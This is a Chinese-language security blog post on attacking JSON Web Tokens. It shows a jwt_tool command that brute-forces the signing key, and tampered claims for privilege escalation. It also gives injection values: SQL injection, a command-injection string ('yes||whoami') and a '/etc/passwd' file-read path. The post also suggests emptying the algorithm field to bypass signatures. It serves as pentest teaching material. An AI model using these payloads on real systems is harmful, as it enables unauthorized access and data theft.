常见的JWT令牌的漏洞利用方式-漏洞探测

admin 2024年2月5日13:38:12评论19 views字数 1499阅读4分59秒阅读模式

0x01 前言

JSON Web 令牌 (JWT) 是一种标准化格式,用于在系统之间发送加密签名的 JSON 数据。理论上,它们可以包含任何类型的数据,但最常用于发送有关用户的信息(“声明”),作为身份验证、会话处理和访问控制机制的一部分。

        与经典会话令牌不同,所有数据服务器所需的数据存储在客户端 JWT 本身内。这使得 JWT 成为高度分布式网站的热门选择,用户需要与多个后端服务器无缝交互。

末尾可领取JWT字典等资源文件

0x02 了解JWT

在项目中,发现了一个JWT,我们尝试进

https://jwt.io/
JWT由三部分组成:header、payload和signature,JWT 的header和payload部分只是 base64编码的 JSON 对象。
标头包含有关令牌本身的元数据,而有效负载包含有关用户的实际“声明”。例如,您可以从下面的令牌中解码有效负载得到以下声明:

常见的JWT令牌的漏洞利用方式-漏洞探测

在大多数情况下,任何有权访问令牌的人都可以轻松读取或修改此数据。因此,任何基于JWT 的机制的安全性都严重依赖于加密签名

0x03 爆破JWT

在项目中,对JWT进行攻击,不知道key的情况下,可以尝试爆破key。使用jwt_tool进行爆破(文章末尾提供27G超强字典)

jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IjB4U2hlIiwic3lzYWRtaW4iOiJOIiwiaWF0IjoxNjkwOTg5ODMzfQ.APJSPp54jXCBAmN1sg5H4Bxvl8irb-n-Lq9SDRQT5Qs -C -d pass.txt

常见的JWT令牌的漏洞利用方式-漏洞探测

成功爆破出key为:0xShe123456

0x04 JWT漏洞利用

得到key以后,我们要对JWT进行攻击,在不同的项目中的攻击面也不同,接下来我们模拟一些常见的攻击场景

水平越权

把1234567890改为1234567891

{"sub": "1234567890","name": "0xShe","sysadmin": "N","iat": 1690989833}

垂直越权

把sysadmin的值N改为Y(NO改为YES或者false改为true)

{"sub": "1234567890","name": "0xShe","sysadmin": "Y","iat": 1690989833}

SQL注入

{"sub": "1234567890","name": "0xShe","data": "1' UNION SELECT 'key';-- ","iat": 1690989833}

命令执行

{"sub": "1234567890","name": "0xShe","echo": "yes||whoami","iat": 1690989833}

文件读取

{"sub": "1234567890","name": "0xShe","path": "/etc/passwd","iat": 1690989833}

JWT不仅仅用来做身份校验,还遇到过用来加密传参的,其实攻击手法大同小异,像一些XSS SSRF也可以进行测试。

{"url": "http://sbbbb.cn/","iat": 1690989833}

XSS

插入xss payload可以测xss

http://a.com?url=jwt的时候插入xss payload可以测xss

其他

jwt会声明使用一些比如hash算法,可以试试把hash那一块改成空,部分场景可以直接绕过。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月5日13:38:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   常见的JWT令牌的漏洞利用方式-漏洞探测https://cn-sec.com/archives/2469866.html

发表评论

匿名网友 填写信息